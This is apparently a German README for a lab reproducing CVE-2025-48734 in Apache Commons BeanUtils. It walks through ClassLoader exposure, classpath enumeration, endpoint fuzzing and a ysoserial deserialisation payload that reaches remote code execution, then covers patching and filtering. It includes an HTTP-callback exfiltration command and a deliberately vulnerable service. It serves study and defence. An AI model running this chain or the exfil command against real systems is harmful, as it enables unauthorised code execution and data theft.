
CVE-2025-48734 - Betrifft Apache Commons BeanUtils in Versionen vor 1.11.0 (und der 2.x-Branch vor 2.0.0-M2).
Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke.
Dieses Repository bietet eine kontrollierte Laborumgebung, um die CVE-2025-48734-Sicherheitslücke in Apache Commons BeanUtils zu reproduzieren und zu untersuchen, wie ein Angreifer unter bestimmten Bedingungen zu Remote Code Execution (RCE) eskalieren könnte.
CVE-2025-48734 betrifft Apache Commons BeanUtils in Versionen vor 1.11.0 (und dem 2.x-Zweig vor 2.0.0-M2). Das Problem liegt in PropertyUtilsBean, das den Zugriff auf die declaringClass-Eigenschaft von Java-Enums über verschachtelte Pfade (z.B. enum.declaringClass) ermöglicht. Alle Enums erben die Methode getDeclaringClass() von java.lang.Enum, die BeanUtils als navigierbare Eigenschaft bereitstellt.
Ein Angreifer, der den Eigenschaftspfad in Aufrufen von getProperty() oder getNestedProperty() kontrollieren kann, kann:
ClassLoader der Anwendung erhalten (über enum.declaringClass.classLoader).classLoader.URLs[n] durchlaufen wird.⚠️ Wichtig: Die Schwachstelle allein ermöglicht nicht direkt RCE. Sie gewährt Zugriff auf den
ClassLoaderund ermöglicht die Aufzählung des Klassenpfads, was mit einem unsicheren Deserialisierungsendpunkt und einer verwundbaren Gadget-Bibliothek verkettet werden muss, um Codeausführung zu erreichen. Siehe den Abschnitt Detailed Exploit Analysis.
CVSS-Score: 8.8 (Hoch) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Das Labor besteht aus zwei Komponenten:
Ein Spring-Boot-Dienst, der die folgenden Endpunkte bereitstellt:
GET /api/property?path=<property-path> — liest eine verschachtelte Eigenschaft mit PropertyUtilsBean.getNestedProperty() ohne Bereinigung. Dies ist der Einstiegspunkt der CVE.GET /api/nested-set?path=<path>&value=<value> — schreibt verschachtelte Eigenschaften (ebenfalls verwundbar).POST /api/data/import — akzeptiert rohe Java-serialisierte Objekte (application/octet-stream) und deserialisiert sie ohne Validierung. Dies ist der RCE-Auslieferungsvektor.Das Ziel-Bean ist ein Order-Objekt, das ein Status-Enum enthält. Dies ermöglicht den Aufbau der Kette status.declaringClass.classLoader.
Hinweis: Der Endpunkt
/api/data/importist nicht Teil von CVE-2025-48734. Er wurde aufgenommen, um ein realistisches Szenario zu simulieren, in dem ein verwundbarer Deserialisierungsendpunkt zusammen mit der CVE existiert. In einer realen Anwendung erscheint diese Art von Endpunkt in Legacy-Integrationen, internen APIs oder falsch konfigurierter Middleware.
| Bibliothek | Version | Rolle in der Kette |
|---|---|---|
commons-beanutils | 1.9.4 | Einstiegspunkt für CVE-2025-48734 |
commons-collections | 3.2.2 | Deserialisierungs-Gadget-Kette |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
Das Skript installiert Abhängigkeiten, kompiliert das Projekt, registriert es als systemd-Dienst und startet es automatisch. Die Anwendung hört auf 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
Das Skript installiert Abhängigkeiten und lädt ysoserial herunter.
Der Exploit ist vollständig in einem einzigen Skript automatisiert, das die korrekte Phasenreihenfolge erzwingt. Jede Phase ist Voraussetzung für die nächste.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
Das Skript prüft status.declaringClass und status.declaringClass.classLoader. Wenn einer von beiden blockiert ist, bricht das Skript ab — die Anwendung ist gepatcht und die Kette kann nicht fortgesetzt werden.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Unter Verwendung der in Phase 1 erhaltenen ClassLoader-Referenz durchläuft das Skript classLoader.URLs[n], um alle geladenen JARs aufzulisten, und sucht nach Commons Collections 3.x. Wenn nicht gefunden, bricht das Skript ab — keine Gadget-Kette verfügbar.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
Nach Bestätigung einer Gadget-Kette fuzzt das Skript gängige Import-/Sync-Endpunkte, indem es die magischen Bytes der Java-Serialisierung (0xACED0005) sendet, und identifiziert Endpunkte, die ObjectInputStream.readObject() versuchen, anhand ihres Antwortmusters. Wenn kein Endpunkt gefunden wird, bricht das Skript ab.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial generiert einen CommonsCollections6-Payload (am portabelsten für Java 11+) und sendet ihn an den entdeckten Endpunkt.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
Der Befehl wird während der Deserialisierung auf dem Server ausgeführt, bevor die Antwort zurückgegeben wird. Die Ausgabe kann durch Umleitung in eine Datei oder über einen HTTP-Callback exfiltriert werden:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
Die CVE ist kein direkter RCE-Vektor – sie ist der Aufklärungsdrehpunkt, der den Rest der Kette ermöglicht:
Ohne CVE-2025-48734:
→ Kein ClassLoader-Zugriff
→ Keine Klassenpfad-Aufzählung
→ Keine Möglichkeit, Commons Collections 3.x zu bestätigen
→ Kein Grund, nach einem Deserialisierungsendpunkt zu suchen
→ Kette am Anfang unterbrochen
Mit CVE-2025-48734:
→ ClassLoader offengelegt
→ Vollständiger Klassenpfad über URLs[n] sichtbar
→ Commons Collections 3.x bestätigt
→ Deserialisierungsendpunkt durch Fuzzing entdeckt
→ RCE erreicht
Die drei Bedingungen, die für vollständiges RCE erfüllt sein müssen:
| Bedingung | Dieses Labor | In der Praxis |
|---|---|---|
| BeanUtils < 1.11.0 mit ungefiltertem Pfadeingang | ✅ | Häufig in Legacy-Anwendungen |
| Gadget-Bibliothek im Klassenpfad (CC 3.x) | ✅ | Häufig in Enterprise-Java |
Aktualisieren Sie Commons BeanUtils:
| Artefakt | Verwundbar | Sicher |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
In pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Zwei ergänzende Abhilfemaßnahmen:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
Nach dem Upgrade von BeanUtils auf 1.11.0, kompilieren Sie neu und starten Sie den Dienst neu. Führen Sie das Exploit-Skript aus — es sollte in Phase 1 abbrechen:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
Dieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Unsicherer Deserialisierungsendpunkt | ✅ | Weniger häufig, aber in Legacy-/Middleware-Integrationen vorhanden |